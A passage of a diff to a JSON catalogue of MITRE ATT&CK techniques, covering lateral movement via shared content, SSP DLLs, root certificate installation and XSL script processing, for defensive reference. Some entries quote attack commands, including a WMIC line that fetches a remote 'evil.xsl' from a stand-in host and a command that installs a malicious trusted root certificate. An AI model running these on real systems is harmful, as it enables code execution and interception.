laterally.\n\nA directory share pivot is a variation on this technique that uses several other techniques to propagate malware when users access a shared network directory. It uses [Shortcut Modification](https://attack.mitre.org/techniques/T1023) of directory .LNK files that use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like the real directories, which are hidden through [Hidden Files and Directories](https://attack.mitre.org/techniques/T1158). The malicious .LNK-based directories have an embedded command that executes the hidden malware file in the directory and then opens the real intended directory so that the user's expected action still occurs. When used with frequently used network directories, the technique may result in frequent reinfections and broad access to systems and potentially to new and higher privileged accounts. (Citation: Retwin Directory Share Pivot)", "meta": { + "external_id": "CAPEC-562", + "kill_chain": [ + "mitre-attack:lateral-movement" + ], "mitre_data_sources": [ - "Authentication logs", - "File monitoring" - ], - "mitre_platforms": [ - "Linux", - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1146" - ], - "uuid": "b344346f-1321-4639-abd0-df3c95f1c0b0" - }, - "value": "Clear Command History" - }, - { - "description": "Adversaries may use a custom cryptographic protocol or algorithm to hide command and control traffic. A simple scheme, such as XOR-ing the plaintext with a fixed key, will produce a very weak ciphertext.\n\nCustom encryption schemes may vary in sophistication. Analysis and reverse engineering of malware samples may be enough to discover the algorithm and encryption key used.\n\nSome adversaries may also attempt to implement their own version of a well-known cryptographic algorithm instead of using a known implementation library, which may lead to unintentional errors.[[Citation: F-Secure Cosmicduke]]\n\nDetection: If malware uses custom encryption with symmetric keys, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures.[[Citation: Fidelis DarkComet]]\n\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect when communications do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Malware reverse engineering, Process monitoring", - "meta": { - "mitre_data_sources": [ - "Packet capture", - "Netflow/Enclave netflow", - "Process use of network", - "Malware reverse engineering", + "File monitoring", "Process monitoring" ], "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Linux", - "Windows 10", - "MacOS", - "OS X" + "Windows" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1024", - "https://www.f-secure.com/documents/996508/1030745/cosmicduke%20whitepaper.pdf", - "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf", - "https://www.fidelissecurity.com/sites/default/files/FTA%201018%20looking%20at%20the%20sky%20for%20a%20dark%20comet.pdf" - ], - "uuid": "3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d" + "https://attack.mitre.org/techniques/T1080", + "https://capec.mitre.org/data/definitions/562.html", + "https://rewtin.blogspot.ch/2017/11/abusing-user-shares-for-efficient.html" + ] }, - "value": "Custom Cryptographic Protocol" + "uuid": "246fd3c7-f5e3-466d-8787-4c13d9e3b61c", + "value": "Taint Shared Content - T1080" }, { - "description": "Files may be copied from one system to another to stage adversary tools or other files over the course of an operation. Files may be copied from an external adversary-controlled system through the FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.\n\nAdversaries may also copy files laterally between internal victim systems to support Windows Admin Shares or Remote Desktop Protocol.\n\nDetection: Monitor for file creation and files transferred within a network over SMB. Unusual processes with external network connections creating files on-system may be suspicious. Use of utilities, such as FTP, that does not normally occur may also be suspicious.\n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: File monitoring, Packet capture, Process use of network, Netflow/Enclave netflow, Network protocol analysis, Process monitoring", + "description": "Windows Security Support Provider (SSP) DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages and HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.\n (Citation: Graeber 2014)", "meta": { + "external_id": "T1101", + "kill_chain": [ + "mitre-attack:persistence" + ], + "mitre_data_sources": [ + "DLL monitoring", + "Windows Registry", + "Loaded DLLs" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1101", + "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html", + "https://technet.microsoft.com/en-us/library/dn408187.aspx" + ] + }, + "uuid": "6c174520-beea-43d9-aac6-28fb77f3e446", + "value": "Security Support Provider - T1101" + }, + { + "description": "Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.", + "meta": { + "external_id": "T1120", + "kill_chain": [ + "mitre-attack:discovery" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1120" + ] + }, + "uuid": "348f1eef-964b-4eb6-bb53-69b3dcb0c643", + "value": "Peripheral Device Discovery - T1120" + }, + { + "description": "Password policies for networks are a way to enforce complex passwords that are difficult to guess or crack through [Brute Force](https://attack.mitre.org/techniques/T1110). An adversary may attempt to access detailed information about the password policy used within an enterprise network. This would help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts).\n\nPassword policies can be set and discovered on Windows, Linux, and macOS systems. (Citation: Superuser Linux Password Policies) (Citation: Jamf User Password Policies)\n\n### Windows\n* net accounts\n* net accounts /domain\n\n### Linux\n* chage -l \n* cat /etc/pam.d/common-password\n\n### macOS\n* pwpolicy getaccountpolicies", + "meta": { + "external_id": "T1201", + "kill_chain": [ + "mitre-attack:discovery" + ], + "mitre_data_sources": [ + "Process command-line parameters", + "Process monitoring" + ], + "mitre_platforms": [ + "Windows", + "Linux", + "macOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1201", + "https://superuser.com/questions/150675/how-to-display-password-policy-information-for-a-user-ubuntu", + "https://www.jamf.com/jamf-nation/discussions/18574/user-password-policies-on-non-ad-machines" + ] + }, + "uuid": "b6075259-dba3-44e9-87c7-e954f37ec0d5", + "value": "Password Policy Discovery - T1201" + }, + { + "description": "Business processes, such as who typically communicates with who, or what the supply chain is for a particular part, provide opportunities for social engineering or other (Citation: Warwick2015)", + "meta": { + "external_id": "T1301", + "kill_chain": [ + "mitre-pre-attack:organizational-weakness-identification" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1301" + ] + }, + "uuid": "57619ab3-f6a5-43c8-8dd1-b0b8a986a870", + "value": "Analyze business processes - T1301" + }, + { + "description": "Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate. (Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.\n\nInstallation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials. (Citation: Operation Emmental)\n\nAtypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide a man-in-the-middle capability for intercepting information transmitted over secure TLS/SSL communications. (Citation: Kaspersky Superfish)\n\nRoot certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence. (Citation: SpectorOps Code Signing Dec 2017)\n\nIn macOS, the Ay MaMi malware uses /usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert to install a malicious certificate as a trusted root certificate into the system keychain. (Citation: objective-see ay mami 2018)", + "meta": { + "external_id": "T1130", + "kill_chain": [ + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "SSL/TLS inspection", + "Digital certificate logs" + ], + "mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1130", + "https://en.wikipedia.org/wiki/Root_certificate", + "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emmental.pdf", + "https://www.kaspersky.com/blog/lenovo-pc-with-adware-superfish-preinstalled/7712/", + "https://www.tripwire.com/state-of-security/off-topic/appunblocker-bypassing-applocker/", + "https://objective-see.com/blog/blog_0x26.html", + "https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec", + "https://docs.microsoft.com/sysinternals/downloads/sigcheck" + ] + }, + "uuid": "d519cfd5-f3a8-43a9-a846-ed0bb40672b1", + "value": "Install Root Certificate - T1130" + }, + { + "description": "Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Registry. Service configurations can be modified using utilities such as sc.exe and [Reg](https://attack.mitre.org/software/S0075).\n\nAdversaries can modify an existing service to persist malware on a system by using system utilities or by using custom tools to interact with the Windows API. Use of existing services is a type of [Masquerading](https://attack.mitre.org/techniques/T1036) that may make detection analysis more challenging. Modifying existing services may interrupt their functionality or may enable services that are disabled or otherwise not commonly used.\n\nAdversaries may also intentionally corrupt or kill services to execute malicious recovery programs/commands. (Citation: Twitter Service Recovery Nov 2017) (Citation: Microsoft Service Recovery Feb 2013)", + "meta": { + "external_id": "CAPEC-551", + "kill_chain": [ + "mitre-attack:persistence" + ], + "mitre_data_sources": [ + "Windows Registry", + "File monitoring", + "Process monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1031", + "https://capec.mitre.org/data/definitions/551.html", + "https://technet.microsoft.com/en-us/sysinternals/bb963902", + "https://twitter.com/r0wdy_/status/936365549553991680", + "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc753662(v=ws.11)" + ] + }, + "uuid": "62dfd1ca-52d5-483c-a84b-d6e80bf94b7b", + "value": "Modify Existing Service - T1031" + }, + { + "description": "Files may be copied from one system to another to stage adversary tools or other files over the course of an operation. Files may be copied from an external adversary-controlled system through the Command and Control channel to bring tools into the victim network or through alternate protocols with another tool such as [FTP](https://attack.mitre.org/software/S0095). Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.\n\nAdversaries may also copy files laterally between internal victim systems to support Lateral Movement with remote Execution using inherent file sharing protocols such as file sharing over SMB to connected network shares or with authenticated connections with [Windows Admin Shares](https://attack.mitre.org/techniques/T1077) or [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1076).", + "meta": { + "external_id": "T1105", + "kill_chain": [ + "mitre-attack:command-and-control", + "mitre-attack:lateral-movement" + ], "mitre_data_sources": [ "File monitoring", "Packet capture", @@ -1407,98 +4484,205 @@ "Process monitoring" ], "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10", "Linux", - "MacOS", - "OS X" + "macOS", + "Windows" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1105", + "https://attack.mitre.org/techniques/T1105", "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" - ], - "uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add" + ] }, - "value": "Remote File Copy" + "uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "value": "Remote File Copy - T1105" }, { - "description": "Adversaries may search local file systems and remote file shares for files containing passwords. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.\n\nIt is possible to extract passwords from backups or saved virtual machines through Credential Dumping.Valid Accounts for more information.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: File monitoring, Process command-line parameters", + "description": "Adversary tools may directly use the Windows application programming interface (API) to execute binaries. Functions such as the Windows API CreateProcess will allow programs and scripts to start other processes with proper path and argument parameters. (Citation: Microsoft CreateProcess)\n\nAdditional Windows API calls that can be used to execute binaries include: (Citation: Kanthak Verifier)\n\n* CreateProcessA() and CreateProcessW(),\n* CreateProcessAsUserA() and CreateProcessAsUserW(),\n* CreateProcessInternalA() and CreateProcessInternalW(),\n* CreateProcessWithLogonW(), CreateProcessWithTokenW(),\n* LoadLibraryA() and LoadLibraryW(),\n* LoadLibraryExA() and LoadLibraryExW(),\n* LoadModule(),\n* LoadPackagedLibrary(),\n* WinExec(),\n* ShellExecuteA() and ShellExecuteW(),\n* ShellExecuteExA() and ShellExecuteExW()", "meta": { + "external_id": "T1106", + "kill_chain": [ + "mitre-attack:execution" + ], + "mitre_data_sources": [ + "API monitoring", + "Process monitoring" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1106", + "http://msdn.microsoft.com/en-us/library/ms682425", + "https://skanthak.homepage.t-online.de/verifier.html" + ] + }, + "uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", + "value": "Execution through API - T1106" + }, + { + "description": "The Graphical User Interfaces (GUI) is a common way to interact with an operating system. Adversaries may use a system's GUI during an operation, commonly through a remote interactive session such as [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1076), instead of through a [Command-Line Interface](https://attack.mitre.org/techniques/T1059), to search for information and execute files via mouse double-click events, the Windows Run command (Citation: Wikipedia Run Command), or other potentially difficult to monitor interactions.", + "meta": { + "external_id": "T1061", + "kill_chain": [ + "mitre-attack:execution" + ], + "mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "Process command-line parameters", + "Binary file metadata" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1061", + "https://en.wikipedia.org/wiki/Run_command" + ] + }, + "uuid": "a6525aec-acc4-47fe-92f9-b9b4de4b9228", + "value": "Graphical User Interface - T1061" + }, + { + "description": "Adversaries may deploy malicious software to systems within a network using application deployment systems employed by enterprise administrators. The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the deployment server, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform software deployment.\n\nAccess to a network-wide or enterprise-wide software deployment system enables an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.", + "meta": { + "external_id": "CAPEC-187", + "kill_chain": [ + "mitre-attack:lateral-movement" + ], + "mitre_data_sources": [ + "File monitoring", + "Process use of network", + "Process monitoring" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1017", + "https://capec.mitre.org/data/definitions/187.html" + ] + }, + "uuid": "327f3cc5-eea1-42d4-a6cd-ed34b7ce8f61", + "value": "Application Deployment Software - T1017" + }, + { + "description": "Adversaries may search local file systems and remote file shares for files containing passwords. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.\n\nIt is possible to extract passwords from backups or saved virtual machines through [Credential Dumping](https://attack.mitre.org/techniques/T1003). (Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller. (Citation: SRD GPP)", + "meta": { + "external_id": "CAPEC-545", + "kill_chain": [ + "mitre-attack:credential-access" + ], "mitre_data_sources": [ "File monitoring", "Process command-line parameters" ], "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10", "Linux", - "MacOS", - "OS X" + "macOS", + "Windows" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1081", + "https://attack.mitre.org/techniques/T1081", + "https://capec.mitre.org/data/definitions/545.html", "http://carnal0wnage.attackresearch.com/2014/05/mimikatz-against-virtual-machine-memory.html", "http://blogs.technet.com/b/srd/archive/2014/05/13/ms14-025-an-update-for-group-policy-preferences.aspx" - ], - "uuid": "ba8e391f-14b5-496f-81f2-2d5ecd646c1c" + ] }, - "value": "Credentials in Files" + "uuid": "ba8e391f-14b5-496f-81f2-2d5ecd646c1c", + "value": "Credentials in Files - T1081" }, { - "description": "Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.[[Citation: Wikipedia Root Certificate]] Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.\n\nInstallation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials.[[Citation: Operation Emmental]]\n\nAtypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide a man-in-the-middle capability for intercepting information transmitted over secure TLS/SSL communications.[[Citation: Kaspersky Superfish]]\n\nDetection: A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity. Check pre-installed certificates on new systems to ensure unnecessary or suspicious certificates are not present.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10\n\nData Sources: SSL/TLS inspection, Digital Certificate Logs\n\nContributors: Itzik Kotler, SafeBreach", + "description": "Adversaries will likely attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used. \n\n### Windows\n\nExamples of tools and commands that acquire this information include \"ping\" or \"net view\" using [Net](https://attack.mitre.org/software/S0039).\n\n### Mac\n\nSpecific to Mac, the bonjour protocol to discover additional Mac-based systems within the same broadcast domain. Utilities such as \"ping\" and others can be used to gather information about remote systems.\n\n### Linux\n\nUtilities such as \"ping\" and others can be used to gather information about remote systems.", "meta": { + "external_id": "T1018", + "kill_chain": [ + "mitre-attack:discovery" + ], "mitre_data_sources": [ - "SSL/TLS inspection", - "Digital Certificate Logs" + "Network protocol analysis", + "Process monitoring", + "Process use of network", + "Process command-line parameters" ], "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", "Linux", - "Windows 10" + "macOS", + "Windows" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1130", - "https://en.wikipedia.org/wiki/Root%20certificate", - "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emmental.pdf", - "https://usblog.kaspersky.com/superfish-adware-preinstalled-on-lenovo-laptops/5161/" - ], - "uuid": "d519cfd5-f3a8-43a9-a846-ed0bb40672b1" + "https://attack.mitre.org/techniques/T1018" + ] }, - "value": "Install Root Certificate" + "uuid": "e358d692-23c0-4a31-9eb6-ecc13a8d7735", + "value": "Remote System Discovery - T1018" }, { - "description": "Adversaries use command and control over an encrypted channel using a known encryption protocol like HTTPS or SSL/TLS. The use of strong encryption makes it difficult for defenders to detect signatures within adversary command and control traffic.\n\nSome adversaries may use other encryption protocols and algorithms with symmetric keys, such as RC4, that rely on encryption keys encoded into malware configuration files and not public key cryptography. Such keys may be obtained through malware reverse engineering.\n\nDetection: SSL/TLS inspection is one way of detecting command and control traffic within some encrypted communication channels.[[Citation: SANS Decrypting SSL]] SSL/TLS inspection does come with certain risks that should be considered before implementing to avoid potential security issues such as incomplete certificate validation.[[Citation: SEI SSL Inspection Risks]]\n\nIf malware uses encryption with symmetric keys, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures.[[Citation: Fidelis DarkComet]]\n\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Packet capture, Netflow/Enclave netflow, Malware reverse engineering, Process use of network, Process monitoring, SSL/TLS inspection", + "description": "Various Windows utilities may be used to execute commands, possibly without invoking [cmd](https://attack.mitre.org/software/S0106). For example, [Forfiles](https://attack.mitre.org/software/S0193), the Program Compatibility Assistant (pcalua.exe), components of the Windows Subsystem for Linux (WSL), as well as other utilities may invoke the execution of programs and commands from a [Command-Line Interface](https://attack.mitre.org/techniques/T1059), Run window, or via scripts. (Citation: VectorSec ForFiles Aug 2017) (Citation: Evi1cg Forfiles Nov 2017)\n\nAdversaries may abuse these utilities for Defense Evasion, specifically to perform arbitrary execution while subverting detections and/or mitigation controls (such as Group Policy) that limit/prevent the usage of [cmd](https://attack.mitre.org/software/S0106).", "meta": { + "external_id": "T1202", + "kill_chain": [ + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "Process monitoring", + "Process command-line parameters", + "Windows event logs" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1202", + "https://twitter.com/vector_sec/status/896049052642533376", + "https://twitter.com/Evi1cg/status/935027922397573120", + "https://community.rsa.com/community/products/netwitness/blog/2017/08/14/are-you-looking-out-for-forfilesexe-if-you-are-watching-for-cmdexe" + ] + }, + "uuid": "3b0e52ce-517a-4614-a523-1bd5deef6c5e", + "value": "Indirect Command Execution - T1202" + }, + { + "description": "Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages. (Citation: Microsoft XSLT Script Mar 2017)\n\nAdversaries may abuse this functionality to execute arbitrary files while potentially bypassing application whitelisting defenses. Similar to [Trusted Developer Utilities](https://attack.mitre.org/techniques/T1127), the Microsoft common line transformation utility binary (msxsl.exe) (Citation: Microsoft msxsl.exe) can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files. (Citation: Penetration Testing Lab MSXSL July 2017) Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files. (Citation: Reaqta MSXSL Spearphishing MAR 2018)\n\nCommand-line example: (Citation: Penetration Testing Lab MSXSL July 2017)\n\n* msxsl.exe customers[.]xml script[.]xsl\n\nAnother variation of this technique, dubbed “Squiblytwo”, involves using [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) to invoke JScript or VBScript within an XSL file. (Citation: subTee WMIC XSL APR 2018) This technique can also execute local/remote scripts and, similar to its [Regsvr32](https://attack.mitre.org/techniques/T1117)/ \"Squiblydoo\" counterpart, leverages a trusted, built-in Windows tool.\n\nCommand-line examples: (Citation: subTee WMIC XSL APR 2018)\n\n* Local File: wmic process list /FORMAT:evil[.]xsl\n* Remote File: wmic os get /FORMAT:”https[:]//example[.]com/evil[.]xsl”", + "meta": { + "external_id": "T1220", + "kill_chain": [ + "mitre-attack:defense-evasion", + "mitre-attack:execution" + ], + "mitre_data_sources": [ + "Process monitoring", + "Process command-line parameters", + "Process use of network", + "DLL monitoring" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1220", + "https://docs.microsoft.com/dotnet/standard/data/xml/xslt-stylesheet-scripting-using-msxsl-script", + "https://www.microsoft.com/download/details.aspx?id=21714", + "https://pentestlab.blog/2017/07/06/applocker-bypass-msxsl/", + "https://subt0x11.blogspot.com/2018/04/wmicexe-whitelisting-bypass-hacking.html", + "https://twitter.com/dez_/status/986614411711442944", + "https://reaqta.com/2018/03/spear-phishing-campaign-leveraging-msxsl/" + ] + }, + "uuid": "ebbe170d-aa74-4946-8511-9921243415a3", + "value": "XSL Script Processing - T1220" + }, + { + "description": "Adversaries may explicitly employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if necessary secret keys are encoded and/or generated within malware samples/configuration files.", + "meta": { + "external_id": "T1032", + "kill_chain": [ + "mitre-attack:command-and-control" + ], "mitre_data_sources": [ "Packet capture", "Netflow/Enclave netflow", @@ -1508,36 +4692,122 @@ "SSL/TLS inspection" ], "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", "Linux", - "Windows 10", - "MacOS", - "OS X" + "macOS", + "Windows" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1032", - "https://www.fidelissecurity.com/sites/default/files/FTA%201018%20looking%20at%20the%20sky%20for%20a%20dark%20comet.pdf", + "https://attack.mitre.org/techniques/T1032", "http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840", - "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf", - "https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html" - ], - "uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5" + "https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html", + "https://www.fidelissecurity.com/sites/default/files/FTA_1018_looking_at_the_sky_for_a_dark_comet.pdf", + "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + ] }, - "value": "Standard Cryptographic Protocol" + "uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "value": "Standard Cryptographic Protocol - T1032" }, { - "description": "Adversaries may communicate over a commonly used port to bypass firewalls or network detection systems and to blend with normal network activity to avoid more detailed inspection. They may use commonly open ports such as\n* TCP:80 (HTTP)\n* TCP:443 (HTTPS)\n* TCP:25 (SMTP)\n* TCP/UDP:53 (DNS)\n\nThey may use the protocol associated with the port or a completely different protocol. \n\nFor connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), examples of common ports are \n* TCP/UDP:135 (RPC)\n* TCP/UDP:22 (SSH)\n* TCP/UDP:3389 (RDP)\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Process monitoring", + "description": "Leadership or key decision makers may derive specific intelligence requirements from Key Intelligence Topics (KITs) or Key Intelligence Questions (KIQs). Specific intelligence requirements assist analysts in gathering information to establish a baseline of information about a topic or question and collection managers to clarify the types of information that should be collected to satisfy the requirement. (Citation: LowenthalCh4) (Citation: Heffter)", "meta": { + "external_id": "T1230", + "kill_chain": [ + "mitre-pre-attack:priority-definition-planning" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1230" + ] + }, + "uuid": "15d5eaa4-597a-47fd-a692-f2bed434d904", + "value": "Derive intelligence requirements - T1230" + }, + { + "description": "Adversaries may use a custom cryptographic protocol or algorithm to hide command and control traffic. A simple scheme, such as XOR-ing the plaintext with a fixed key, will produce a very weak ciphertext.\n\nCustom encryption schemes may vary in sophistication. Analysis and reverse engineering of malware samples may be enough to discover the algorithm and encryption key used.\n\nSome adversaries may also attempt to implement their own version of a well-known cryptographic algorithm instead of using a known implementation library, which may lead to unintentional errors. (Citation: F-Secure Cosmicduke)", + "meta": { + "external_id": "T1024", + "kill_chain": [ + "mitre-attack:command-and-control" + ], + "mitre_data_sources": [ + "Packet capture", + "Netflow/Enclave netflow", + "Process use of network", + "Malware reverse engineering", + "Process monitoring" + ], + "mitre_platforms": [ + "Linux", + "macOS", + 